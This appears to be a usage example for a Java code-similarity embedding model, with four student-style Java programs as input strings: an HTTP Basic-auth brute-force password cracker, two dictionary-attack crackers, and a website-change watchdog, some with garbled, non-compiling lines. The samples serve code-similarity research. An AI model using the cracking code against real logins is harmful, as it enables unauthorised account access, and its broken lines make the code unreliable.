sentence-transformers How to use buelfhood/SOCO-Java-GraphCodeBERT-ST with sentence-transformers:
from sentence_transformers import SentenceTransformer
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
sentences = [
"\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\nimport java.net.*;\nimport java.io.*;\nimport java.text.*;\n\npublic class BruteForce {\n \n \n \n public static String Base64Encode(String s) {\n byte[] bb = s.getBytes();\n byte[] b = bb;\n char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n '0','1','2','3','4','5','6','7','8','9','+','/' };\n if (bb.length % 3!=0) {\n int x1 = bb.length;\n \n b = new byte[(x1/3+1)*3];\n int x2 = b.length;\n \n for(int i=0;i<x1;i++)\n b[i] = bb[i];\n for(int i=x1;i<x2;i++)\n b[i] = 0;\n }\n \n char[] c = new char[b.length/3*4];\n \n int i=0, j=0;\n while (i+3<=b.length) {\n c[j] = table[(b[i] >> 2)];\n c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];\n c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];\n c[j+3] = table[(b[i+2] & 63)];\n i+=3;\n j+=4;\n }\n \n j = c.length-1;\n while (c[j]=='A') {\n c[j]='=';\n j--;\n }\n \n return String.valueOf(c);\n }\n \n \n public synchronized void getAccumulatedLocalAttempt() {\n attempt = 0;\n for (int i=0;i<MAXTHREAD;i++) {\n attempt += threads[i].getLocalAttempt();\n }\n }\n \n \n public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {\n DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n System.out.println();\n System.out.println(\" ------------------------ [ CURRENT STATISTICS ] ---------------------------\");\n System.out.println();\n System.out.println(\" Current connections : \"+curconn);\n System.out.println(\" Current progress : \"+attempt+ \" of \"+ALLCOMBI+\" (\"+currprogress+\"%)\");\n System.out.println(\" Overall Attempts rate : \"+ovrl+\" attempts second (approx.)\");\n System.out.println();\n System.out.println(\" ---------------------------------------------------------------------------\");\n System.out.println();\n }\n \n \n public class MyTT extends TimerTask {\n \n public synchronized void run() {\n \n \n if (count==REPORT_INTERVAL) {\n \n DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n \n getAccumulatedLocalAttempt();\n double p = (double)attempt/(double)ALLCOMBI*100;\n \n \n double aps = (double) (attempt - attm) / REPORT_INTERVAL;\n \n \n attmArr[attmArrIdx++] = aps;\n \n \n printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);\n count = 0;\n } else\n \n if (count==0) {\n getAccumulatedLocalAttempt();\n attm = attempt;\n count++;\n } else {\n count++;\n }\n }\n \n \n public synchronized double getOverallAttemptPerSec() {\n double val = 0;\n for (int i=0;i<attmArrIdx;i++) {\n val+= attmArr[i];\n }\n return val / attmArrIdx;\n }\n \n private int count = 0;\n private int attm;\n private int attmArrIdx = 0;\n private double[] attmArr = new double[2*60*60/10]; \n }\n \n \n public synchronized void interruptAll(int ID) {\n for (int i=0;i<MAXTHREAD;i++) {\n if ((threads[i].isAlive()) && (i!=ID)) {\n threads[i].interrupt();\n }\n notifyAll();\n }\n }\n \n \n \n public synchronized void setSuccess(int ID, String p) {\n passw = p;\n success = ID;\n notifyAll();\n interruptAll(ID);\n \n \n end = System.currentTimeMillis();\n }\n \n \n public synchronized boolean isSuccess() {\n return (success>=0);\n }\n \n \n \n public synchronized void waitUntilAllTerminated() {\n while (curconn>0) {\n try {\n wait();\n } catch (InterruptedException e) {}\n }\n }\n \n \n \n \n public synchronized int waitUntilOK2Connect() {\n boolean interruptd= false;\n int idx = -1;\n \n \n \n \n while (curconn>=MAXCONN) {\n try {\n wait();\n } catch (InterruptedException e) { interruptd = true; }\n }\n \n \n \n if (!interruptd) {\n \n curconn++;\n for (idx=0;idx<MAXCONN;idx++)\n if (!connused[idx]) {\n connused[idx] = true;\n break;\n }\n \n notifyAll();\n }\n \n \n return idx;\n }\n \n \n public synchronized void decreaseConn(int idx) {\n curconn--;\n connused[idx] = false;\n \n \n notifyAll();\n }\n \n \n public class ThCrack extends Thread {\n \n \n public ThCrack(int threadID, int startidx, int endidx) {\n super(\" Thread #\"+String.valueOf(threadID)+\": \");\n this.ID = threadID;\n this.startidx = startidx;\n this.endidx = endidx;\n \n setDaemon(true);\n }\n \n \n public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {\n int i ;\n String msg;\n \n \n URL tryURL = new URL(THEURL);\n \n \n connections[connID]=(HttpURLConnection) tryURL.openConnection();\n \n \n connections[connID].setRequestProperty(\"Authorization\",\" \"+Base64Encode(USERNAME+\":\"+thePass));\n \n \n i = connections[connID].getResponseCode();\n msg = connections[connID].getResponseMessage();\n connections[connID].disconnect();\n \n \n if (i==HttpURLConnection.HTTP_OK) {\n \n System.out.println(ID+\"Trying '\"+thePass+\"' GOTCHA !!! (= \"+String.valueOf()+\"-\"+msg+\").\");\n setSuccess(this.ID,thePass);\n return (true);\n } else {\n \n System.out.println(ID+\"Trying '\"+thePass+\"' FAILED (= \"+String.valueOf()+\"-\"+msg+\").\");\n return (false);\n }\n }\n \n \n public void rest(int msec) {\n try { sleep(msec); } catch (InterruptedException e) {}\n }\n \n \n \n public String constructPassword( int idx) {\n int i = idxLimit.length-2;\n boolean processed = false;\n \n String result = \"\";\n while (i>=0) {\n if (idx>=idxLimit[i]) {\n int nchar = i + 1;\n idx-=idxLimit[i];\n for (int j=0;j<nchar;j++) {\n x = (idx % NCHAR);\n result = charset.charAt((int) x) + result;\n idx /= NCHAR;\n }\n break;\n }\n i--;\n }\n \n return result;\n }\n \n \n public String getStartStr() {\n return constructPassword(this.startidx);\n }\n \n \n public String getEndStr() {\n return constructPassword(this.endidx);\n }\n \n \n public void run() {\n i = startidx;\n boolean keeprunning = true;\n while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {\n \n \n int idx = waitUntilOK2Connect();\n \n \n if (idx==-1) {\n \n break;\n }\n \n try {\n \n launchRequest(getName(), idx, constructPassword(i));\n \n decreaseConn(idx);\n \n localattempt++;\n \n \n rest(MAXCONN);\n i++;\n } catch (InterruptedException e) {\n \n \n keeprunning = false;\n break;\n } catch (IOException e) {\n \n \n \n \n \n decreaseConn(idx);\n }\n }\n \n \n if (success==this.ID) {\n waitUntilAllTerminated();\n }\n }\n \n \n public int getLocalAttempt() {\n return localattempt;\n }\n \n private int startidx,endidx;\n private int ID;\n private int localattempt = 0;\n }\n \n \n public void printProgramHeader(String mode,int nThread) {\n System.out.println();\n System.out.println(\" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************\");\n System.out.println();\n System.out.println(\" URL : \"+THEURL);\n System.out.println(\" Crack Mode : \"+mode);\n System.out.println(\" Characters : \"+charset);\n System.out.println(\" . Char : \"+MINCHAR);\n System.out.println(\" . Char : \"+MAXCHAR);\n System.out.println(\" # of Thread : \"+nThread);\n System.out.println(\" Connections : \"+MAXCONN);\n System.out.println(\" All Combi. : \"+ALLCOMBI);\n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n }\n \n \n public void startNaiveCracking() {\n MAXTHREAD = 1;\n MAXCONN = 1;\n startDistCracking();\n }\n \n \n public void startDistCracking() {\n int startidx,endidx;\n int thcount;\n \n \n if (isenhanced) {\n printProgramHeader(\"ENHANCED BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n } else {\n printProgramHeader(\"NAIVE BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n }\n \n \n i = System.currentTimeMillis();\n \n idxstart = idxLimit[MINCHAR-1];\n \n \n \n \n \n \n if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }\n mult = (ALLCOMBI - idxstart) / MAXTHREAD;\n \n \n \n for (thcount=0;thcount<MAXTHREAD-1;thcount++) {\n startidx = thcount*mult + idxstart;\n endidx = (thcount+1)*mult-1 + idxstart;\n threads[thcount] = new ThCrack(thcount, startidx, endidx);\n System.out.println(threads[thcount].getName()+\" try crack from '\"+threads[thcount].getStartStr()+\"' '\"+threads[thcount].getEndStr()+\"'\");\n }\n \n \n \n \n \n startidx = (MAXTHREAD-1)*mult + idxstart;\n endidx = ALLCOMBI-1;\n threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);\n System.out.println(threads[MAXTHREAD-1].getName()+\" try crack from '\"+threads[MAXTHREAD-1].getStartStr()+\"' '\"+threads[MAXTHREAD-1].getEndStr()+\"'\");\n \n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n \n \n for (int i=0;i<MAXTHREAD;i++)\n threads[i].print();\n }\n \n \n public BruteForce() {\n \n if (isenhanced) {\n startDistCracking();\n } else {\n startNaiveCracking();\n }\n \n \n reportTimer = new java.util.Timer();\n MyTT tt = new MyTT();\n reportTimer.schedule(tt,1000,1000);\n \n \n while ((success==-1) && (attempt<ALLCOMBI)) {\n try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }\n }\n \n \n if (success==-1) {\n end = System.currentTimeMillis();\n }\n \n \n getAccumulatedLocalAttempt();\n \n double ovAps = tt.getOverallAttemptPerSec();\n DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n \n reportTimer.cancel();\n \n \n try { Thread.sleep(1000); } catch (InterruptedException e) { }\n \n \n synchronized (this) {\n if (success>=0) {\n System.out.println();\n System.out.println(\" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************\");\n System.out.println();\n System.out.println(\" The password is : \"+passw);\n System.out.println(\" Number of attempts : \"+attempt+\" of \"+ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+ \" attempts/sec\");\n System.out.println(\" Cracking time : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n System.out.println(\" Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+ \" seconds\");\n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n } else {\n System.out.println();\n System.out.println(\" ********************* [ UNABLE CRACK THE URL !!! ] *********************\");\n System.out.println();\n System.out.println(\" Number of attempts : \"+attempt+\" of \"+ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+ \" attempts/sec\");\n System.out.println(\" Cracking time : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n }\n }\n }\n \n \n public static void printSyntax() {\n System.out.println();\n System.out.println(\"Syntax : BruteForce [mode] [URL] [charset] [] [] [username]\");\n System.out.println();\n System.out.println(\" mode : (opt) 0 - NAIVE Brute force mode\");\n System.out.println(\" (trying from the first the last combinations)\");\n System.out.println(\" 1 - ENHANCED Brute force mode\");\n System.out.println(\" (dividing cracking jobs multiple threads) (default)\");\n System.out.println(\" URL : (opt) the URL crack \");\n System.out.println(\" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\");\n System.out.println(\" charset : (optional) the character set used crack.\");\n System.out.println(\" - (default)\");\n System.out.println(\" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\" -alphanum \");\n System.out.println(\" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\");\n System.out.println(\" -alphalow \");\n System.out.println(\" abcdefghijklmnopqrstuvwxyz\");\n System.out.println(\" -alphaup \");\n System.out.println(\" ABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\" -number \");\n System.out.println(\" 1234567890\");\n System.out.println(\" [custom] e.g. aAbB123\");\n System.out.println(\" , : (optional) range of characters applied in the cracking\");\n System.out.println(\" where 1 <= <= 10 (default = 1)\");\n System.out.println(\" <= <= 10 (default = 3)\");\n System.out.println(\" username : (optional) the username that is used crack\");\n System.out.println();\n System.out.println(\" NOTE: The optional parameters 'charset','','', and 'username'\");\n System.out.println(\" have specified altogether none at all.\");\n System.out.println(\" For example, if [charset] is specified, then [], [], and\");\n System.out.println(\" [username] have specified as well. If none of them specified,\");\n System.out.println(\" default values used.\");\n System.out.println();\n System.out.println(\" Example of invocation :\");\n System.out.println(\" java BruteForce \");\n System.out.println(\" java BruteForce 0\");\n System.out.println(\" java BruteForce 1 http://localhost/tryme.php\");\n System.out.println(\" java BruteForce 0 http://localhost/tryme.php - 1 3 \");\n System.out.println(\" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 \");\n System.out.println();\n System.out.println();\n }\n \n \n \n \n \n \n \n \n public static void countIdxLimit() {\n idxLimit = new int[MAXCHAR+1];\n \n NCHAR = charset.length();\n ALLCOMBI = 0;\n for (int i=0;i<=MAXCHAR;i++) {\n if (i==0) {\n idxLimit[i] = 0;\n } else {\n idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);\n }\n }\n \n ALLCOMBI = idxLimit[idxLimit.length-1];\n }\n \n \n public static void paramCheck(String[] args) {\n int argc = args.length;\n \n \n try {\n switch (Integer.valueOf(args[0]).intValue()) {\n case 0: {\n isenhanced = false;\n } break;\n case 1: {\n isenhanced = true;\n } break;\n default:\n System.out.println(\"Syntax error : invalid mode '\"+args[0]+\"'\");\n printSyntax();\n System.exit(1);\n }\n } catch (NumberFormatException e) {\n System.out.println(\"Syntax error : invalid number '\"+args[0]+\"'\");\n printSyntax();\n System.exit(1);\n }\n \n if (argc>1) {\n try {\n \n URL u = new URL(args[1]);\n \n \n try {\n HttpURLConnection conn = (HttpURLConnection) u.openConnection();\n \n switch (conn.getResponseCode()) {\n case HttpURLConnection.HTTP_ACCEPTED:\n case HttpURLConnection.HTTP_OK:\n case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n case HttpURLConnection.HTTP_FORBIDDEN:\n case HttpURLConnection.HTTP_UNAUTHORIZED:\n break;\n default:\n \n \n System.out.println(\"Unable open connection the URL '\"+args[1]+\"'\");\n System.exit(1);\n }\n } catch (IOException e) {\n System.out.println(e);\n System.exit(1);\n }\n \n THEURL = args[1];\n } catch (MalformedURLException e) {\n \n System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n printSyntax();\n System.exit(1);\n }\n }\n \n \n if (argc==6) {\n try {\n MINCHAR = Integer.valueOf(args[3]).intValue();\n } catch (NumberFormatException e) {\n System.out.println(\"Invalid range number value '\"+args[3]+\"'\");\n printSyntax();\n System.exit(1);\n }\n \n try {\n MAXCHAR = Integer.valueOf(args[4]).intValue();\n } catch (NumberFormatException e) {\n System.out.println(\"Invalid range number value '\"+args[4]+\"'\");\n printSyntax();\n System.exit(1);\n }\n \n if ((MINCHAR<1) || (MINCHAR>10)) {\n System.out.println(\"Invalid range number value '\"+args[3]+\"' (must between 0 and 10)\");\n printSyntax();\n System.exit(1);\n } else\n if (MINCHAR>MAXCHAR) {\n System.out.println(\"Invalid range number value '\"+args[3]+\"' (must lower than the value)\");\n printSyntax();\n System.exit(1);\n }\n \n if (MAXCHAR>10) {\n System.out.println(\"Invalid range number value '\"+args[4]+\"' (must between value and 10)\");\n printSyntax();\n System.exit(1);\n }\n \n if (args[2].toLowerCase().equals(\"-\")) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n } else\n if (args[2].toLowerCase().equals(\"-alphanum\")) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\";\n } else\n if (args[2].toLowerCase().equals(\"-alphalow\")) {\n charset = \"abcdefghijklmnopqrstuvwxyz\";\n } else\n if (args[2].toLowerCase().equals(\"-alphaup\")) {\n charset = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n } else\n if (args[2].toLowerCase().equals(\"-number\")) {\n charset = \"1234567890\";\n } else {\n charset = args[2];\n }\n \n USERNAME = args[5];\n } else\n if ((argc>2) && (argc<6)) {\n System.out.println(\"Please specify the [charset], [], [], and [username] altogether none at all\");\n printSyntax();\n System.exit(1);\n } else\n if ((argc>2) && (argc>6)) {\n System.out.println(\"The number of parameters expected is not more than 6. \");\n System.out.println(\" have specified more than 6 parameters.\");\n printSyntax();\n System.exit(1);\n }\n }\n \n public static void main (String[] args) {\n \n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n MINCHAR = 1;\n MAXCHAR = 3;\n \n \n if (args.length==0) {\n args = new String[6];\n args[0] = String.valueOf(1); \n args[1] = THEURL;\n args[2] = \"-\";\n args[3] = String.valueOf(MINCHAR);\n args[4] = String.valueOf(MAXCHAR);\n args[5] = USERNAME;\n }\n \n \n paramCheck(args);\n \n countIdxLimit();\n \n \n Application = new BruteForce();\n }\n \n public static BruteForce Application;\n public static String THEURL = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n public static boolean isenhanced; \n public static String passw = \"\"; \n \n public static final int REPORT_INTERVAL = 10; \n public static int MAXTHREAD = 50; \n public static int MAXCONN = 50; \n public static int\t curconn = 0; \n public static int success = -1; \n \n public static String USERNAME = \"\"; \n public static int MINCHAR; \n public static int MAXCHAR; \n public static int ALLCOMBI; \n \n public static int start ,end; \n \n \n public static java.util.Timer reportTimer; \n public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; \n public static boolean\t connused[] = new boolean[MAXCONN]; \n public ThCrack[] threads = new ThCrack[MAXTHREAD]; \n public static int attempt = 0; \n public static int idxLimit; \n public static String charset; \n public static int NCHAR; \n}\n",
"\nimport java.util.*;\n\npublic class Dictionary {\n\n private String strUsername;\n private String strURL;\n \n \n public Dictionary(String username, String url)\n {\n strUsername = username;\n strURL = url;\n } \n \n public void run() {\n Date dtStart, dtEnd;\n \n PasswordFile pwd = new PasswordFile(\"/usr/dict/words\");\n PasswordTest tester;\n int i=1;\n boolean bDone = false;\n Result res;\n\n dtStart = new Date();\n while(!bDone) {\n tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());\n \n bDone = tester;\n i++;\n if(bDone) {\n \n res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i);\n System.out.print(res.toString());\n }\n else\n {\n \n }\n \n \n if(pwd.getPassword() == null)\n {\n System.out.println(\"Exhausted word file without finding password\");\n bDone = true;\n }\n } \n \n } \n \n \n public static void main(String[] args) {\n \n \n \n \n Dictionary dict = new Dictionary(\"\", \"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \n dict.run();\n }\n \n}\n",
"\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport java.io.*; \n\npublic class Dictionary { \n\n public int runProcess(String urlString,String passwd) { \n\n System.out.println(\"Checking password: ... \" + passwd);\n\n int returnval = 0;\n MyAuthenticator auth = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\n try{\n\n URL yahoo = new URL(urlString); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n String inputLine;\n\n while ((inputLine = in.readLine()) != null) {\n\t System.out.println(inputLine);\n\t System.out.println(\"password: \" + passwd);\n returnval = 1;\n }\n\n\t in.print();\n\n }catch(Exception e){ returnval = 0;}\n\n return returnval;\n }\n\n public static void main (String argv[]) { \n\n int retval = 0;\n String pwd = \"\";\n String inFile = \"/usr/share/lib/dict/words\";\n BufferedReader in = null;\n String line1 =\"\";\n\n try {\n \n Dictionary s = new Dictionary(); \n String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n in = new BufferedReader(new FileReader(inFile)); \n\n while ((line1=in.readLine()) != null) {\n\n retval = 0;\n pwd = line1;\n retval = s.runProcess(urlToSearch,pwd); \n if (retval > 0) {\n System.exit(0);\n }\n }\n }catch(Exception e)\n { e.printStackTrace();}\n \n } \n} \n",
"\n\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\nimport java.net.*;\n\npublic class WatchDog\n{\n\n static Process p = null;\n static Process qproc = null;\n\n static BufferedReader bf = null;\n static StringTokenizer tok = null;\n\n static String Path = null;\n static String str = null;\n static String urlStr=null;\n static boolean changed = false;\n\n static File indexfile = new File(\"index.html\");\n static File tmpfile = new File(\"tmpindex.html\");\n static File mdfile = new File(\"md5file.txt\");\n static File tmpmdfile = new File(\"tmpmd5file.txt\");\n static PrintWriter mailwriter = null;\n\n\n public static void main (String[] args) \n {\n\n urlStr = \"http://www.cs.rmit.edu./\";\n\n try\n {\n \n mailwriter = new PrintWriter(new BufferedWriter(new FileWriter(\"tomail.txt\", false)));\n\n getLatest(urlStr);\n parseFile(); \n\n mailwriter.read();\n\n if(changed)\n {\n System.out.println(\"Sending Mail\");\n p = Runtime.getRuntime().exec(\"./mailscript\");\n p.waitFor();\n\n }\n else\n System.out.println(\" mail sent\");\n\n } catch (IOException ioe)\n {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n }\n catch (InterruptedException intex)\n {\n System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n }\n\n\n }\n\n\n static void getLatest(String urlStr)\n { \n \n URL url = null;\n \n try\n {\n url = new URL(urlStr);\n\n } catch (MalformedURLException mfurl)\n {\n System.out.println(\"Malformed URL\");\n mfurl.printStackTrace();\n }\n\n try\n {\n mailwriter.println();\n\n p = Runtime.getRuntime().exec(\"/usr//pwd\"); \n p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n p.getInputStream()));\n\n Path=bf.readLine();\n\n if (indexfile.exists())\n {\n mailwriter.println(\"File with name 'index.html' found in directory.\");\n mailwriter.println(\"Renaming existing 'index.html' 'tmpindex.html...\");\n p = Runtime.getRuntime().exec(\"/usr//mv \"+indexfile+ \" \" + Path+\"/\"+tmpfile);\n p.waitFor();\n p = Runtime.getRuntime().exec(\"/usr//mv \"+mdfile+ \" \" + Path+\"/\"+tmpmdfile);\n mailwriter.println();\n mailwriter.println(\"File with name 'md5file.txt' found in directory.\");\n mailwriter.print(\"Renaming existing 'md5file.txt' 'tmpmd5file.txt...\");\n\n mailwriter.println(\".\");\n\n mailwriter.println();\n }\n\n mailwriter.println(\"Downloading current version of site - \" + urlStr);\n p = Runtime.getRuntime().exec(\"/usr/local//wget \"+url);\n p.waitFor();\n if (!tmpfile.exists())\n {\n mailwriter.println(\"File - \" + urlStr + \"index.html saved disk for the first time.\");\n }\n\n\n } catch (IOException ioe)\n {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n }\n catch (IndexOutOfBoundsException iobe)\n {\n System.out.println(\"Index Out Of Bounds Exception\");\n iobe.printStackTrace();\n }\n catch (Exception e)\n {\n System.out.println(\"Exception\");\n e.printStackTrace();\n }\n }\n\n static void parseFile()\n {\n\n Vector imgVect = new Vector();\n\n try\n {\n p = Runtime.getRuntime().exec(\"/usr//grep img \" + Path + \"/\"+ indexfile);\n p.waitFor();\n bf = new BufferedReader(new InputStreamReader(\n p.getInputStream()));\n\n while((str=bf.readLine())!=null)\n {\n bf = new StringTokenizer(str, \"\\\"\", false);\n \n while(bf.hasMoreTokens())\n {\n str=bf.nextToken();\n if ((str.indexOf(\"gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n imgVect.addElement(str);\n }\n \n }\n\n }catch (IOException ioe)\n {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n }\n catch (Exception e)\n {\n System.out.println(\"Exception\");\n e.printStackTrace();\n }\n\n mailwriter.println(\"Creating file with md5sums of the webpage and images...\");\n md5Create(imgVect);\n\n }\n\n static void md5Create(Vector imgVect)\n {\n String tmpString = null;\n Vector imgNames = new Vector();\n\n try\n {\n PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));\n \n p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+indexfile);\n p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n p.getInputStream()));\n pr.println(bf.readLine());\n \n for(int i=0; i<imgVect.size();i++)\n {\n imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);\n imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);\n\n p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+(String)imgNames.elementAt(i));\n p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n p.getInputStream()));\n pr.println(bf.readLine());\n rmImgFile(Path+\"/\"+(String)imgNames.elementAt(i));\n }\n pr.get();\n\n } catch (IOException ioe)\n {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n }\n catch (InterruptedException intex)\n {\n System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n }\n\n if (tmpmdfile.exists())\n compVersions((imgVect.size())+1);\n\n }\n\n static void compVersions(int numlines)\n {\n\n int tmp = 0;\n int x = 0;\n String[] md5A = new String[numlines];\n Vector tmpmd5V = new Vector(); \n \n \n String[] tmpmd5A = null;\n StringTokenizer stoken = null;\n String mdImgName = null;\n String mdImgVal = null;\n String tmpImgName = null;\n String tmpImgVal = null;\n\n try\n {\n\n bf = new BufferedReader(new FileReader(mdfile));\n\n while((str = bf.readLine()) != null)\n {\n md5A[tmp]=str;\n tmp++;\n }\n\n bf = new BufferedReader(new FileReader(tmpmdfile));\n tmp=0;\n\n while ((str = bf.readLine()) !=null)\n {\n tmpmd5V.addElement(str);\n tmp++;\n }\n\n tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]); \n\n if (tmpmd5A[0].compareTo(md5A[0]) != 0)\n {\n mailwriter.println(\"---The file index.html has changed.---\");\n mailwriter.println(\"-Diff of old and new -\");\n changed=true;\n mailwriter.println();\n p=Runtime.getRuntime().exec(\"/usr/local//diff index.html tmpindex.html\");\n p.waitFor();\n bf= new BufferedReader(new InputStreamReader(p.getInputStream()));\n\n while ((str = bf.readLine()) != null)\n mailwriter.println(str);\n\n }\n else\n {\n mailwriter.println(\"The file index.html hasn't changed.\");\n mailwriter.println();\n }\n\n mailwriter.println();\n mailwriter.println(\"Changes Images\");\n mailwriter.println(\"-----------------\");\n\n\n \n\n for (tmp=1; tmp<md5A.length; tmp++) \n {\n stoken = new StringTokenizer(md5A[tmp]);\n mdImgVal = stoken.nextToken();\n mdImgName = stoken.nextToken();\n for (x=1; x<tmpmd5A.length; x++)\n {\n stoken = new StringTokenizer(tmpmd5A[x]);\n tmpImgVal = stoken.nextToken();\n tmpImgName = stoken.nextToken();\n\n if (mdImgName.compareTo(tmpImgName) == 0)\n {\n if(mdImgVal.compareTo(tmpImgVal) == 0)\n {\n \n break;\n }\n else\n {\n mailwriter.println(\"The image \"+mdImgName+\" has changed.\");\n changed=true;\n break;\n }\n }\n if (x == ((tmpmd5A.length)-1))\n {\n mailwriter.println(\"The image \"+mdImgName+\" is new this \");\n changed=true;\n }\n }\n }\n\n for (tmp=1; tmp<tmpmd5A.length; tmp++) \n {\n stoken = new StringTokenizer(tmpmd5A[tmp]);\n tmpImgVal = stoken.nextToken();\n tmpImgName = stoken.nextToken();\n for (x=1; x<md5A.length; x++)\n {\n stoken = new StringTokenizer(md5A[x]);\n mdImgVal = stoken.nextToken();\n mdImgName = stoken.nextToken();\n if (tmpImgName.compareTo(mdImgName) == 0)\n {\n break;\n }\n if (x == ((md5A.length)-1))\n {\n mailwriter.println(\"The image \"+tmpImgName+\" is longer the \");\n changed=true;\n }\n }\n }\n\n\n } catch(IOException ioe)\n {System.out.println(\"IOException\");\n ioe.printStackTrace();\n }\n catch(InterruptedException iex)\n {System.out.println(\"Interrupted Exception\");\n iex.printStackTrace();\n }\n\n }\n\n\n static Object getFullPath(String fname)\n {\n \n\n if(fname.charAt(0)== '/') \n fname=urlStr+fname; \n else if(fname.charAt(0) != 'h')\n fname=urlStr+'/'+fname;\n\n getImgFile(fname);\n\n return (Object)fname; \n }\n\n static void getImgFile(String fullPath)\n {\n \n\n try\n {\n qproc=Runtime.getRuntime().exec(\"/usr/local//wget \"+fullPath);\n qproc.waitFor();\n\n } catch (IOException ioe)\n {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n }\n catch (InterruptedException intex)\n {\n System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n }\n }\n\n static void rmImgFile(String delpath)\n {\n \n\n try\n {\n qproc=Runtime.getRuntime().exec(\"/usr//rm \"+ delpath);\n qproc.waitFor();\n\n } catch (IOException ioe)\n {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n }\n catch (InterruptedException intex)\n {\n System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n }\n \n }\n\n static Object getImgNames(String prsName)\n {\n \n \n String str = new StringTokenizer(prsName, \"/\", false);\n\n while(str.hasMoreTokens())\n {\n str=bgf.nextToken();\n if ((str.indexOf(\"gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n prsName=str;\n }\n return (Object)prsName;\n }\n}\n"
]
embeddings = model.encode(sentences)
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [4, 4]